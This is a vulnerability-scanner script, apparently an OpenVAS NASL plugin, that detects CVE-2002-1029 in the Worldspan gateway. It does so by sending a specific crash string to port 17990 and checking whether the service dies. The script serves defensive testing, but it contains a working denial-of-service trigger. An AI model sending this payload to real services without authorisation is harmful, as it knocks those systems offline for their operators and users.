Worldspan Gateway DoS Vulnerability

# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11049");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/5169");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_cve_id("CVE-2002-1029");
  script_name("Worldspan Gateway DoS Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2002 Michel Arboi");
  script_family("Denial of Service");
  script_dependencies("find_service.nasl");
  script_require_ports(17990);

  script_tag(name:"solution", value:"Upgrade your software.");

  script_tag(name:"summary", value:"It was possible to crash the Worldspan gateway by sending illegal data.");

  script_tag(name:"impact", value:"A cracker may use this attack to make this service
  crash continuously, preventing you from working.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

#
# I suspect that the service will be killed by find_service.nasl before
# this script can do anything...
#

port = 17990;
if( ! get_port_state( port ) )
  exit( 0 );

soc = open_sock_tcp( port );
if( ! soc )
  exit( 0 );

s = string( "worldspanshouldgoboom\r" );
send( socket:soc, data:s );
close( soc );
# According to the advisory, Worldspan eats CPU and crashes after ~ 1 min
sleep( 60 );

soc = open_sock_tcp( port );
if( ! soc ) {
  security_message( port:port );
  exit( 0 );
}

close( soc );
exit( 99 );